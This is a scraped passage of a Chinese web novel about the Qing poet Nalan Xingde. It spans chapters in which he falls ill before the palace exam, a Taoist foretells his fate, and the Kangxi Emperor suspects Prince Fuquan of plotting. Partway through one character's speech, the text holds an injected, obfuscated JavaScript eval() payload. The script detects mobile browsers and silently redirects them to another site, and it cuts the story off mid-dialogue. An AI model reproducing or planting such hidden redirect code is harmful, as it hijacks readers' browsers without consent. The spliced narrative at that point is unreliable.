好在是格尔芬乐观开朗,换成纳兰性德那种性格,恐是“拎起来怕失手、碰一下怕打碎”,还如何去调教? * 济国寺。 容若手持念珠,正念冥思,在正殿专心礼佛。 他一求江山稳固、万民安乐;二求纳兰一家安泰多福、诸事顺利;三求自己祛病祛灾,得以顺利赶赴殿试。 直至下午,才有小沙弥来传信:“张施主请了得道高人施道渊【注3】前来,妙觉禅师已经在禅房准备妥当,小僧这便带公子过去。” 容若对着大佛虔诚一拜,又为莲盘盏里的明烛添上了灯油,才离开正殿。 宽敞素雅的禅房内。 容若、张纯修、施道渊、妙觉禅师四人席地围绕矮桌而坐,有一个小沙弥在旁侧做着煮茶探香之事。 妙觉禅师道:“这回高人受到朝廷召见,求雨得雨,泽润万物,大馈于苍生,老衲闻之,同喜同乐啊!” “应心应物,自可参透天机。”施道渊清然道,“本道不见天子,不接赏赐,只因道法自然,无需沾染世俗气。” 张纯修问:“在下听说施道人你与裕亲王福全交情深厚,竟不知高人你是否另有用意?” “本道落难穷困之时,是受到了云游到江南的裕亲王的接济,才得以重修道观、购置法器、搜寻黄道经典来重振师门……本道与王爷,彼此之间只是存此交情罢了,何来别的企图?” 张纯修小声问:“施道人,你真没有想过扶持裕亲王上位,取代当今圣上的政权吗?” “本道一无招兵买马之名、二无煽动民心之能、三无卷入宦海之心,如何敢联合王爷造反?”施道渊淡问,“张施主和纳兰公子,你俩是否多虑了?” 容若笑道:“不谈这些,纳兰听闻施道人你擅长算卜之事,可否为纳兰算上一卦,看纳兰能否参加殿试?” “请公子以诗为礼,换得结果,如何?” “好。” 等到小沙弥拿来笔墨,容若便在纸上写下: 紫府追随结愿深,曰归行色乍骎骎。 秋风落叶吹飞舄,夜月横江照鼓琴。 历劫升沈宁有意,孤云去住亦无心。 贞元朝士谁相待,桃观重来试一寻。 【注4】 “公子用了‘贞元朝士’的典故,是否期待自己像刘禹锡等人一样,有预感自己过不了身体这一关,盼着自己在将来再得皇上重用?” “施道人锐心慧眼,一句便知纳兰的心思。”容若向其求教,“纳兰心中何尝不想恶疾巧愈,好顺顺利利地去为自己博一个前程,可是想归想,终究不似道人你一般,能将话语传递到天上的神仙耳中。” “公子为何改变了想法?”施道渊问, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050061|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “如果本道没有猜错,公子出门之前,心中还是盼着接触了本道之后,寒疾能够大好的,不是吗?” “高人你猜的无错,纳兰的确是这般对侍女袖云说的。来到济国寺,等候高人你的这一段时间里,纳兰忽然就想明白了:尽人事、听天命。佛祖和道尊,帮不了我,也渡不了我。” 施道渊感慨道:“公子有悲喜,能够流露出情绪,已是世人之幸;公子愿意妥协与释怀,看得开前路和无常机缘,已是上天之幸。” “多谢高人开示。纳兰上至天道、下至人情,双幸备至便已是无悔。” “本道有几句真心话要相劝公子。” “高人请讲——” “公子的琉璃心,太真太纯净,一朝碎裂,难以挽回;公子的青云路,早已是天注定,波澜壮志,难离君侧;公子的姻缘事,无心问花花枯荣,愁苦人在尘世中。” “高人的意思,可是劝纳兰:不要自食苦果、不要盼切政途、不要错惜红颜?” “公子慧辨,无需本道多言。” * 明府,容若房间。 容若饮了一服药,看了好一会儿雨洗后的明月。 方自己躺上了床,合被侧身,道:“袖云,我觉得……自己好像可以放心去病了一样。” 袖云担心容若晃神忧思,柔声问他:“公子何出此言?” “人生,每十年就是一个坎。你看我快二十岁了,要熬过这个坎才能再有下一个十年,所以大病一场也在天意之中。只是刚好在要赶赴殿试的节骨眼上,觉得对不住阿玛额娘和皇上。” “袖云以为,公子口上这么说,心中却还是在挣扎、并未真正放过自己。” “果然你是懂我的。”容若觉得舒心,“我现在睡下,到时候你再看我醒得来或是醒不来吧!” 见容若正要合眼,袖云赶忙制止:“不许公子这么说,一定能醒来的。” “别哭。”容若露出个叫她放心的笑容,“我饮的又不是无色无味、无声无息死去的毒药,是袖云你亲手煎煮的‘京师第一名医’华世安华先生的方子,是灵丹妙药才对!” “公子还有心情开玩笑,袖云真要把老爷和夫人叫来了。” 容若拉住袖云的手,“别去,过后有的是阿玛和额娘进进出出我的房间的时候。叫的太早,我不安,也于心不忍。” 容若的神色始终温润,他又跟袖云说了好一阵子话,才饮了几口温水后睡下。 袖云隔着手帕,双手握着容若的素手。 她又忽然记起容若最爱菩提手串,就打开床头柜,取了明珠赠予儿子的“极细粒小凤眼菩提手串“出来,轻轻戴在了公子手腕上。 * 夜间。 济国寺的朗月下清风侧,妙觉禅师与施道渊道人共下一盘棋。 “施道人以为老衲的弟子:楞伽山人纳兰性德如何?” “一生苦短,终做星辰归银河;错下凡尘,枉做皇帝身侧臣。” “纳兰还如此年轻,在尘世之中不过将近二十年啊!” 施道渊捻指一算,叹息道: “真心待友,未必能得好报;一心为国,未必能得君信。将来十年,茫茫生死,惘然于尘世喧嚣之中:南来北往,似花落江南霭霭迷雾中,似玉损边塞飒飒寒雪间;东奔西走,染血泣天犹未应,剖心恸地谁见怜?……无不是随圣驾劳累奔波、消耗心血掏空体能,直至万劫不复,方休!” “康熙皇帝对纳兰之不相离,不在于器重与惜才,而在于把自己作为天子所不能实现的——风雅气致、隐隐伤怀、纯粹固执、至情至真、才气横溢……统统寄托在了纳兰身上,视他如己。” “道人的意思是,皇上的刚与纳兰的柔是相生相补、见长见消的?” “非也。康熙皇帝的‘为君之横’胜过‘为君之仁’,纳兰在‘为臣之谋’和‘为臣之忍’上平分秋色。” “不想道人你从未接触过皇上与纳兰,却对他俩看的如此透彻。” “本道非普通出家人,而是怀了真本事和真法术在身上,故而敢独自上京师而来。逢遇纳兰公子和与他对谈之事,也是在预料之中。” 妙觉禅师终于开口问了这件要事:“道人,有关殿试……” 施道渊捋须道:“此届殿试的前三甲,并无名扬史册之才。反之下一届,却有新科状元彭定求光耀门第。彭定求此人,三次落榜,今年来找本道扶乩【注5】,本道细细一算,卦象结果乃是:预示他会在丙辰年高中进士,而康熙十五年正是丙辰年。” “这……”妙觉禅师大惊,“老衲弟子容若——” “一切尽在天机。”施道渊精准地在棋盘上落下一颗黑子,“纳兰公子是参加不了这次的殿试了,三年之后补殿试,状元也不是公子,而是江南苏州出身的彭氏啊!” “老衲是担心三年之后,弟子容若受不了这样的结果,反而会伤神伤身伤的更重更深啊!” 妙觉禅师起身,向施道渊行大礼道:“还请道人救救弟子容若吧!” 施道渊扶起妙觉禅师,又是一算,玄奥道: “长老,你又岂能预料?纳兰公子在三年后要吃的苦和要面对的不公,比殿试结果要‘仰天叫恨’和‘无计消忿’的多啊……” 妙觉禅师合掌对月,默默流下两行清泪来。 天有道,何苦叫他错失契机、又再添心疾? 人有度,何苦问天不得宽解、又成惆怅客? 【注1】康熙皇帝大爱纳兰性德的《雨霁赋》,见第73章。 【注2】出自李商隐《随师东》 【注3】施道渊:清初著名道士,早有道缘,十三岁上山修道,号铁竹道人。在苏州创立了穹窿山道派。与纳兰性德、妙觉禅师交笃深厚。 【注4】出自纳兰性德《再送施尊师归穹窿》 【注5】扶乩:道家的占卜行为,在读书人之中广为流行。 93.第93章 距离殿试三日前。 或者说容若见了施道人之后,回到明府,就卧床不起,不知人事。 明珠夫妇看在眼里,急在心里,请遍民间郎中和宫廷御医,问遍汉方和洋方,均未起到效果。 康熙皇帝闻讯,把太医院的院使和院判叫过来仔细询问了一番,后气道: “朕养着你们有什么用?纳兰的病来势汹汹,不管是内因还是外因,都给朕仔细去治!” 院使和院判皆是跪地,等着领罪。 玄烨这才明白过来:纳兰的病的确是重,殿试的确是参加不了了。 但他却抱着“不到最后绝不放弃”的心态,道:“朕不逼你们,也不治罪于你们,只叫你们去救人,救人……听见没有!” “臣等遵旨。” 院使和院判颤抖着身子退下。 殿试前一日。 未见纳兰苏醒与好转,康熙皇帝竟然去了趟慈宁宫,对孝庄太皇太后道: “朕在殿试完另外九位考生之后,要亲自去明府见纳兰。他要是醒了,朕就当面考他,他要是答的比其他考生好,朕就当面把‘状元’的称号钦点了他!” 面对玄烨的胡闹,孝庄训话道: “我大清从来没有过你这样的皇上!殿试从来都是在太和殿内举行,没有一国之君到臣子家里去面试臣子的规矩;考生未能到太和殿赴考,按缺席来论,本次考试不可再给予其重考机会、不可再赐其进士资格。” 玄烨据理力争: “孙儿不能眼睁睁看着纳兰错失机会,这场考试他要是错过,一等可是三年,彼此怎么等的起?纳兰性德是大清数一数二的人才,孙儿不能让机会从彼此身边溜走,不能让彼此憾负!” “那就保留纳兰性德三年后直接参与殿试的机会。”孝庄让步道,“其他恩典或是违背儒家礼制和科举规矩之事,皇上不必再说了。” 玄烨不满:“孙儿要说——” “皇上,人生不如意之事十有八九,强求不得的呀!”苏麻喇姑劝道,“纳兰公子自己自知天命,皇上你却要逆天命而行,这怎么使得?可不是太皇太后不通人情,而是局势和结果注定了如此啊!” “朕是皇上,不能自己做主吗?” “皇上不小了。”苏麻喇姑好声道,“奴才就想问问皇上,天子亲临明府面试臣子、且亲赐臣子状元称号,能服众吗?纳兰公子自身,要得起吗?” “平时你们个个说纳兰性德是大清第一才子,现在又百般阻挠于朕将这个称号给他落实。这个皇上,朕不会当了。” 面对这样的皇孙,孝庄搬出了爱新觉罗家的祖辈来,道:“苏嬷嬷,把皇上带到奉先殿去思过半晌,就由你陪着看着,过后再把皇上带回我这里来。” 玄烨大叫:“朕没错,朕不去!” “顾问行,梁九功!”孝庄向外喊了一声,“你俩一并跟着皇上去奉先殿,要是皇上闹腾出什么乱子来,我拿你俩是问。” 一路上,玄烨倒是没有违抗孝庄的懿旨,反而是看见了匆匆来报的曹寅。 他只听见曹寅道:“启禀皇上,奴才在施道人求雨当日的围观人群里,见到纳兰了。事后,纳兰在济国寺跟施道人有所会面,过后他才大病的!” 玄烨满心狐疑,道:“此事蹊跷,朕交给你去查,要是查到裕亲王福全借了施道人之手来害纳兰,意在铲除朕的左膀右臂,证据确凿,就别怪朕大义灭亲!” “奴才遵旨!”曹寅领命告退。 苏麻喇姑道:“皇上这么做,可是打草惊蛇啊!裕亲王福全和安亲王岳乐,都是我大清的骁勇战将,往后再战三藩,少不得找两位王爷出力,皇上一着不慎拿裕亲王开刀,恐怕安亲王也不会再完全信任于皇上了。” 玄烨放眼长空,道:“本来天道应在天子,岂料民间道教盛行。朕没说这有不好,只是福全与各处道教名家有所结交之事,并非空穴来风,朕不得不防。” “皇上难道是怕:裕亲王想让各信徒众多的道教名家来煽风点火,引发信众们心中‘另立新君’的观念?” “是啊苏嬷嬷,兄弟难防啊!” 玄烨的步子越来越快,可见他心中是越来越焦躁。 * 明珠夫妇守在容若床侧,袖云站在一边。 房中的氛围不是悲伤,而是过度在焦急和无奈之间。 “本官栽培儿子,呕心沥血近二十年,好不容易等到容若能够赶赴殿试了,却要面对病重的别说连床都下不了、甚至连意识都没有了的他,你们这些太医院的最高长官还把不把皇上的圣谕当回事?” “回明珠大人,”左院判道,“下官猜测,公子修撰《古抄本十二卷》,耗费心血过剩,无法回调,才导致了今日的恶果。” “还有吗?”明珠继续问,“都给本官如实说!” 右院判道:“明珠大人,公子体质特殊,病发难料,在府上养着不是、在外自主也不是,只得是他自己顺心顺意地过活才好。” 觉罗氏问:“那气候多变、思绪在己,两难相顾,接下来容若如何是好?” 院使大人回应道:“夫人,公子醒后,汤药少不得,疲劳要不得,责备使不得,油腻之食去不得,可是真的要当作掌上明珠来对待才行呐。” 明珠脸色一变,指着院使问:“照你的意思,容若参加不了殿试了?” 院使给左右院判递了眼色,三人齐声道:“是。” 明珠失重般的跌坐在床侧凳子上,沉默良久,才恨恨道:“这是老天爷不给我明珠一个‘以子为荣’的良机啊!” “老爷。”觉罗氏亦是难过,“咱们儿子兴许是压力太大,太倦太累了,才陷入了这般境地。容若的用功岂是跟索二公子一样在一时?容若是自打能够读书写字做文章起,就一刻都没有轻松过啊!” “那他病倒的也不是时候呀!”明珠仍旧觉得愤愤难平,“还是说他自己不要前程,有意跟本官做对?本官就不该放纵他在会试结束之后四处游玩……” “老爷,您怎么可以这么说公子?”袖云忍不住开口,“公子整颗心都是放在纳兰家和放在您的官途的,怎么会故意把自己搞病来跟您过不去?” “你没有照顾过容若,可知罪?”明珠冷问,“容若惯着你,你就有胆子把他的病况向本官瞒着?” “公子对学问孜孜不倦之时,袖云曾问:‘何须这般苦了自己?’公子道:‘学以致用。’公子在背地里为老爷筹谋铺路之时,袖云曾问:‘老爷不知也不打紧吗?’公子道:‘为父尽孝,无怨无悔。’袖云一向追随公子、照着公子的意思来行事,不怕老爷责罚。” 明珠站了起来,把三位太医院的大人们都遣走了。 “三年,三年啊……”明珠背着手,仰着头喃喃道,“容若可怎么办的好?明明他通过此试,就可以入翰林一展抱负,然后青云直上与本官一同站上朝堂,父子并伍,手遮半壁权柄。唉!天不遂我明珠!” 觉罗氏道:“老爷,你心中再怎么不甘心不痛快都好,等到容若醒了,可千万别怪罪到他身上,妾身心疼啊!” “本官怎么敢怪他?”明珠声线冷淡,“本官要是多说了他几句,回头就要变成皇上怪本官了。” “请老爷为公子想一想,这场病是他愿意的吗?”袖云为容若说话,“跟纳兰家跟老爷您有关的各种场子,但凡要公子病中出席的,公子哪一回不是自己事先服了许多药、硬撑着身子去给您长脸?您这样的态度和脸色,公子要是知道了,会不心寒吗?” 明珠低头,想来袖云说的也没错。 “本官是有所功利,唉……说白了,都是本官染了一身官场淤泥的缘故。” 袖云垂眸,忍泪道:“公子太苦了,袖云恳请老爷关护他、多来瞧他。” 明珠的心慢慢温热,决定道:“本官亲自照顾容若、守着容若。” * ——纳兰性德病的厉害,殿试去不成了! 索额图闻讯大喜。 他叫来次子格尔芬和夫人佟佳氏,道:“可不是本官的嘴厉害,随便一说,就让明珠家的贵公子应了验。当今本官是要翻身了!” 格尔芬鄙视道:“阿玛,你这是幸灾乐祸。” “哎呀呀,明珠在内阁一人为首、呼风唤雨,人人奉承人人听从,要多威风有多威风。如今他儿子纳兰性德顺应不了他的期待:一鼓作气连拿乡试、会试、殿试榜首,他怕是一肚子火,恨不得把纳兰性德从床榻上拽起来送到太和殿去面圣对答。我索额图就不同了,我儿子格尔芬好歹也是有功名的举人了,又要进宫去做八旗子弟们人人羡慕的差事:二等侍卫,可是光耀门面的大好事啊。” 佟佳氏忽然一悟:“老爷,纳兰性德这一病,是不是连带着惠嫔的封妃之事也要往后挪啊?所谓家族荣耀,一衣带水。” “可不是吗?”索额图勾嘴一笑,“风水轮流转,明珠怕是要从内阁出来了,领个督察院左督御史的职位,专门负责查案子和三法司会审。” 佟佳氏道:“那也是从一品的高位啊!” 索额图摆了摆手,狡诈道:“宫内的线人来报了,皇上猜忌裕亲王福全勾结天下道派、有不臣之心,明珠的儿子纳兰性德跟著名道人施道渊有交集,施道渊偏偏又是裕亲王的人,夫人,你说到时候案宗交到明珠手里,他要怎么审啊?” “这……”佟佳氏猜测,“顾全大局的角度,自然是动不得裕亲王福全,莫论王爷反心真假,他跟康熙皇帝毕竟是兄弟。顾全父子亲情的角度,更是伤不得他的宝贝儿子纳兰,莫论纳兰跟那个道士之间是怎么回事。” 索额图爽朗大笑:“看明珠陷入为难,本官心里爽快啊!” 见格尔芬往外走,索额图问了句:“你去哪儿?” 格尔芬借口道:“去瓜尔佳府邸见云辞格格。” “你骗不了阿玛。”索额图对家丁一使眼色,“都给本官看着二公子,不许二公子踏出索府一步,去明珠家探望他的纳兰兄。” * 殿试当日,因知纳兰来不了,康熙皇帝就下了圣旨让纳兰的阿玛明珠全程作陪和观试。 从明府出发前夕,明珠怒火烧心,对觉罗氏道:“本官被皇上如此对待,怕是内阁之位保不住了,要从正一品降为从一品了。” 觉罗氏能够体会夫君的心情:“皇帝的确是太无理、太狠心了,此举是大大扫了老爷您的颜面啊!” “此事不可让容若知道,否则他事后责问皇上,只会叫皇上更有打压纳兰家的理由。” “咱们儿子心明如镜,即使知道,也不会把阿玛受的屈辱去向皇上讨回。” “但愿如此,本官出发了。” “老爷一路顺利。” 这场殿试的结果,是韩 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同榜探花乃是徐乾学的弟弟徐秉义,榜眼乃是后起之秀宋荦,此二人皆是低调,不敢在皇上身边的权臣明珠面前造次。 而在后来,明珠曾想就今日殿试之事抱负和罢黜韩菼,却为纳兰性德所劝阻。 正是纳兰性德的慈悲心保住和感动了韩菼,日后韩菼竟然成了纳兰性德的至交。在纳兰的牵线下,韩菼结识曹寅,韩曹二人在江南制造局往来密切,是难得的交心之友。纳兰随康熙南巡之际,与韩曹二人在月下联诗,是他难得的畅快时光。 纳兰英年早逝之后,韩菼在明府中庭彻夜大哭两日,眼角渗血,作《进士一等侍卫纳兰君神道碑文》,与天地同悼。 * 玄烨站在书房中,看着叫顾问行拿来的一幅画。 画中,是小时候他与二阿哥福全一起嬉戏的场景。昔日的手足之情,无端变成了今日的兄弟嫌隙,皆因宁可信其有、不可信其无的传言。 明珠按旨来见,果不其然,自己的内阁职务被撤、降职为督察院左督御史。 明珠不敢口出一句“不公”或“不满”,只当是康熙皇帝把“对纳兰性德的惋惜”发泄在了自己这个阿玛身上。 玄烨问:“纳兰醒了吗?” “多谢皇上关心,容若未见好转。”明珠谨小慎微,“臣未能及时体察容若病情,还请皇上见谅。” “朕不是因为纳兰的病而降你的官,而是要给你一个只有你才做的来、和知道该怎么做的职位。” “臣但凭皇上吩咐。” “督察院左督御史的权力远在刑部和大理寺之上,明珠,‘张岱的《湖心亭看雪》一案’和‘裕亲王福全勾结道家势力欲图不轨一案’,朕都交给你去办。” “不知皇上现在有何眉目?” “张岱的作品,朕早就借着纳兰的名义列为禁书过,是委屈了你儿子担一个错名堂,但是张岱其人可谓是笔不耕辍,又将之前所写的《湖心亭看雪》收录进了新文集《陶庵梦忆》里面,在天下读书人和前明士人之间是广为流传。朕要你去给张岱提个醒:要是靠笔杆子就能反清,那天下有这‘勇气’的人,朕不知道处死多少了!” 明珠自然是不敢说:“臣不知道张岱在何处。” 只领命应道:“是,臣会把皇上的意思传达到位,不但叫张岱收敛气焰、更叫一些糊涂人不为类似的作品所蛊惑。” 玄烨抚摸着桌面上的画卷,道: “朕的兄弟不多,裕亲王福全算是要好的一个。记得旧时,皇阿玛问朕和福全的志向,朕说要效仿皇阿玛当皇帝,福全则说要当一代贤王辅君,等到皇阿玛为了个董鄂妃连江山都不要了,孝庄太皇太后才将朕立为了皇上、同时将福全封为了亲王。转眼间,朕登基已经十二年,期间有不少事都是多亏了福全的出力,才得以稳固江山,朕还是记挂着这份‘贤王’之情的。” 明珠道:“臣一直把皇上和裕亲王的情分看在眼里。” 玄烨却是摇头,“朕从曹寅口中听得,纳兰在‘济国寺’中见过与福全私交甚密的道人施道渊,朕就叫曹侍卫去查,结果你说查到了什么?那施道人竟然把三年后的状元、榜眼、探花的人选都给天机神算了出来,朕颜面何在?纳兰名声何在?” 明珠咬唇不语。 玄烨继续道:“这些故弄玄虚之事也就罢了,曹侍卫还还查到:施道人表面上与世无争,暗地里却为福全多方奔走,联络各地信众,只为将福全塑造为大清的救世主!明珠,你说这么下去可还了得?” 明珠冷静道:“此事皇上不可轻易判断,究竟是王爷唆使道士为之,还是道士主动为王爷筹谋,都要拿证据出来说话。臣以为,皇上的地位固若金汤,并非那一通玄学之法可以撼动。” 玄烨转而道:“明珠,朕是怕你儿子被那道士给骗了,才甘愿一病不起,错失了皇恩与功名。朕想将那道士捉拿处死、再细搜细查福全之罪,你以为如何?” 明珠一擦额头上的冷汗,道: “施道人万万不可杀啊皇上!他求雨有功,一旦被送上刑场,皇上如何服民心?更何况皇上要是把自己的杀机定义为:施道渊迷窍纳兰性德,才使得纳兰性德这回考试不成功名……爱子容若也万万担当不起啊,还请皇上三思!” 94.第94章 明珠才下马车,就看一位道士站在明府门口,衣袂飘飘,清风朗月。 那道人向明珠行礼道:“本道施道渊,参见明珠人。” 明珠双眉一皱,“你可知道皇上恨不得杀了你,要不是本官力谏,你的脑袋早就搬家了!” 施道渊捋须而笑,“本道上知天文下知地理,更是能够算尽一切玄机,故而明白自己性命几何,康熙皇帝杀不了本道。” 明珠放平态度:“你来找本官何事?” 施道渊礼貌道:“公子魂回天宫神游了一回,本道前来唤醒公子记得人间未了事。” 明珠拉那道人到一边,小声询问:“道人你在‘济国寺’究竟跟犬子说过什么了?为何犬子见了你之后就大病昏阙至今?” 施道渊笃然道:“明珠大人有幸,得一佳公子,胜过世间多少为父之人?容若原本想向本道讨寻治病之法,却不想在本道前去‘济国寺’之前,已经独自静悟。本道告知容若三个人生真理,他便是自知了将来轨迹,辞别本道而去了。” “敢问道人,是哪三条真理啊?” “父子、君臣、情场三者而已。” “犬子慧根极深,无需多加点拨就能通透万事。”明珠向施道渊行了一礼,“道人既然已经将犬子一生盘算,现阶段可是要好好救他、让他睡后复醒?” “本道此行,正是此意。” “道人快请——” “明珠大人请——” * 施道渊未给容若服用一颗仙丹或是妙药,只是设坛明府花园,有模有样地对着上天一阵祷告,又施展道术与剑术,才将一场法事做完。 明珠夫妇不懂这些,正要打发人去问容若的情况时,袖云从房间出来,上前道:“启禀老爷夫人,公子醒了!” 谢过施道人,明珠夫妇就匆匆往儿子的寝室走去。 袖云留在花园,向施道人深深施了谢礼,方问:“道人法术高超,真把我家公子从天上唤回了凡间,不知接下来袖云可以为公子做些什么?” “容若尘缘浅,仙缘深,尘俗受尽,便是要回到天上去的。并非本道道行如山高似海深,而是容若命中注定要历经此劫,且此劫需要本道来化解罢了。” 袖云若有所思地点了点头。 “接下来,姑娘大喜啊!” 袖云一惊,忙问:“公子大病初醒,袖云如何敢跟一个‘喜’字沾边?” 施道渊意味深长道: 三月病去画屏轻,细雨轻寒隔帘廊。 与君卿卿鸳鸯侣,最是长伴共西厢。 悄藏秋叶成温梦,珠钗琼琚木瓜香。 萧萧浮生又十载,鹊桥横空忆旧章。 【注1】 袖云记起,公子参加秋考之前,曾被明珠逼着读《诗经》,当时就是自己伴着公子一起温书的。 公子说《诗经》的爱情好:投我以木瓜,报之以琼琚。 当时袖云只能共感那份文字的美好,如今却是明白了施道人的隐喻: 公子病好了,为了让公子精神振奋,需要安排一桩好事。这桩好事,没准就是公子的亲事。 秋叶珠钗,琼琚木瓜。样样都是自己从公子手中得到过的好东西。 画屏细雨,近窗看月。件件都是公子爱做且叫自己陪伴在侧的事。 鸳鸯小字,西厢私语。幕幕都是自己和公子之间的共度的好时光。 “姑娘没有想错。”施道渊朝袖云一点头,“姑娘是要成为公子的颜氏夫人了。” “能得一名份,袖云已经满足,不敢以‘夫人’自居。” “袖云姑娘你虽为公子的侍妾,但是公子一生不会亏待于你,你的福气可比日后的卢氏夫人、官氏夫人、小妾沈宛宛姑娘,甚至是惠妃娘娘都大呢!” “多谢道人明示,袖云日后……不,袖云一辈子都一心一意待公子。” “姑娘你要相信本道,在公子的几位红颜知己当中,陪伴着公子走完人生最后一程的女子,正是姑娘你啊!” “袖云,记下了。” “本道从未失算过,这就告辞。” “袖云恭送施道人。” * 次日。 容若坐在床上,默默盘手中的菩提子手串。 房间中的屏风,他已经叫人搬走;窗上的帘子,他也吩咐人撤去。他喜欢空旷的空间,觉得有风来比不透风的好。 忽然记起了透明琉璃鱼缸里养的小金鱼,他叫来袖云,问阿玛送的小金鱼去了哪儿?袖云说,公子放心,小金鱼都还在,这会儿正放在房间外头院子里的是桌上呢。 容若明白了,是前一阵子房间里太闷了,袖云才把小金鱼挪了位置。 他笑,道:“阿玛怕我着凉,就在我房间里加了重重障碍,你不拦着他?” 袖云无奈道:“公子又不是不知道,老爷的某些关心之举虽然不得常理,但也是希望被公子你看在眼里的。到时候老爷来探望公子了,公子还是要老老实实地说声‘谢’才是。” 容若从她手中接过清粥来喝了几勺,道: “我呀,知道自己不好,这副身子骨没能撑到殿试。见到阿玛和额娘,也只能将心里的愧疚转化为:恳求他俩的包容。” 管家下一步过来通传:“公子,老爷和夫人马上过来。” “好,我知道了。”容若继续问,“皇上那边有什么动作?” “动作倒是没有,动静却不小。”管家谨慎道,“郊外的求雨道场已经全部撤去,原本要给施道渊道人立的功德碑,也被做了终止。曹侍卫领了皇命来府上和济国寺打听公子您跟施道人的关系,小的们和妙觉禅师都不敢乱说话,好在是曹侍卫没有为难,他避重就轻地给皇上回了话,说公子您跟施道人只是偶遇偶谈。” “那施道人现在——” “已经离开京师了。小的按照老爷的吩咐,给了施道人回江南的盘缠、也给他准备了车马。” “怎么回事?”容若微讶,“照理说皇上不会罢休,阿玛怎么能让施道人就这么走了?” “小的不清楚。” 这时候,明珠和觉罗夫人正好进来。 觉罗氏坐在容若身边,慈爱地握了握容若的手,道:“儿啊,你能够坐起来了就好,再养一养,早些日子下地行走,外出透透气。” “谢额娘关心。” 明珠道:“容若,阿玛如今被皇上从内阁改任督察院左督御史,你不用担心,不必责己,与你无关。” “不是阿玛没做好,而是皇上另有安排,儿都明白。” “皇上让阿玛去查办两个难案:一是前明文学大家张岱和他的反清大作,二是裕亲王福全疑似有反心,你说皇上是什么意思?” “一来是考验阿玛您的能力,把案子办的八面玲珑、不起干戈自然是最好;二来是巩固自己的皇权,人心是最难收服和降服之物,阿玛您出马,为皇上办事顺理成章,符合皇上心意就是得嘉奖,相悖则是领苛责,无非是赏罚看结果罢了。儿会跟阿玛一同面对,不会叫阿玛孤军奋战。” “你倒是知道,一旦涉及‘前明士人’和‘皇室宗亲’四字,那些官僚没有一个靠得住。” “这个施道渊施道人是个关键人物。”容若提醒,“阿玛您轻易放走他,是错的。” 明珠不解:“皇上要杀他,我保全了他,何错之有?” “裕亲王福全,有帝王之才却无帝王之命,这个玄理要是没有施道人对质,阿玛拿什么向皇上交待?阿玛不会是想着去劝裕亲王,‘要想君不罪、就请王爷先罪己’把?” “我的确是这么想过,你说,康熙朝要是闹出了兄弟相残的悲剧,我明珠卷入其中,还不得在史册上留一条骂名?” “阿玛糊涂!”容若又一次点醒,“皇上想要的不是兄友弟恭,凭皇上的本事,要料理一个王爷还不简单吗?收了裕亲王的兵权,降裕亲王的爵位、罢免了他的议政王头衔让他赋闲在家就是,何须阿玛去当个‘揪出王爷的真心’来的说客?” 明珠凝神,听见了容若接下来的一番话: “皇上想要辨别明党和索党的忠心是真。照儿的想法,阿玛现在应当立刻派人追回施道人,就让施道人在明府详尽写下他与王爷之间的往来实情,然后将按了手印的依据纸张上呈康熙皇帝,等康熙皇帝去定夺。” 见明珠拿过了容若手中的菩提手串来盘,以静心反思和想对策,觉罗氏问儿子:“容若,这跟明索党争有什么关系?” “额娘,阿玛这一步要是走错了,错成了皇上和裕亲王之间的和事佬,没准会落得一个从一品降为正三品的下场,在明党众人面前难有立足之地、在索党众人眼里成了笑柄,儿不能叫阿玛错悟了皇帝的心思呀!” 明珠对容若点了点头,然后对觉罗氏道: “夫人啊,咱们儿子说得没错。最是不能够周全的,就是皇家之间的兄弟之争,我明珠到底是大清皇帝手下的一个奴才,不够格去调解兄弟矛盾,我太过自以为是了!我明珠需谋定而后动,只管把皇上想要了解的‘实情’,通过当事人施道渊的亲笔手书、一一上呈即可,无需再有别举,这才叫忠君。” 觉罗氏把明珠和容若的手交叠在了一起,道: “老爷,您现在是明白了,皇上不是叫您去收拾跟前明士人张岱相关的烂摊子、也不是叫您去甄辨裕亲王福全的居心,而是想看看您能否自己保住自己的官位呢。您哪,就听容若的,只给皇上递凭据,不给皇上论黑白,别让索党之人见缝插针、拿了您不慎的闪失来弹劾或动摇您的位置。” “一步一步来。”容若对明珠微笑,“等儿病好了,就动动人脉给阿玛去找张岱的下落;等儿有气力进宫了,就随阿玛去见皇上,一起听皇上对裕亲王的想法,该劝就劝,该认就认。” “好,那你养着吧。”明珠把菩提手串放回容若手中,“阿玛这就派人去追施道人。” 明珠复对觉罗氏道:“夫人,也要有劳你多去‘济国寺’走动,妙觉禅师总归是效忠咱们纳兰家的人,不可让他因为那道人而受到牵连。” “妾身明白。” * 窗外玉兰花端美,身旁小金鱼摆尾。 心中想着父明珠,心外却存远思绪。 容若一人觉得寂寞,就派人去“花鸟风月楼”请了张纯修来见。 张纯修带来了一幅新作画卷,却没有急着展开来给容若看,容若笑道: “张兄要是叫我题诗,我只能叫侍女袖云去书房拿空白画扇过来,就这么坐在床上,一手执扇、一手写字。” “不成不成,说什么我也要扶你下床。”张纯修认真道,“我这画不一样,你的笔墨一定要落在卷面上才好,我特意留了白。” “大长卷?” “嗯,绝对让你我青史留名的名画作。” “好。那我就应了张兄的意思,压轴再看、呵气成篇。” “容若,说实话,”张纯修问纳兰,“你现在觉得怎么样?身子和心态都是。” “我还能怎么样?”容若淡然,“生病病好,如此循环,都是命数,苍天要我如此。退而学经读史,旁治诗歌古文词。” 张纯修只从好友的话里听出了许多无奈来,“那三年后——” 容若歪头,说不上来悲喜,“三年后直接殿试,太皇太后给的恩典,说不必让我再从头考一次了。” 张纯修问了容若心中记挂的关键之人:“皇上呢?” “我不知道。”容若装作无所谓,“皇上没派人来看我,我也没从阿玛口中听到皇上提起我。大抵是能够好好远离君侧个一年半载。” 容若碰了碰身侧琉璃鱼缸,对玄烨失望。 ——翻弄闹腾也好、以示皇威也罢,总该是对我在态度上有个讯吧? ——心力恢复如何、心情好转如何,皇上你就不想亲口问和亲耳 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容若吩咐:“你去阿玛的房间拿折子空本过来,就跟阿玛说,公子有对策要写给皇上。” 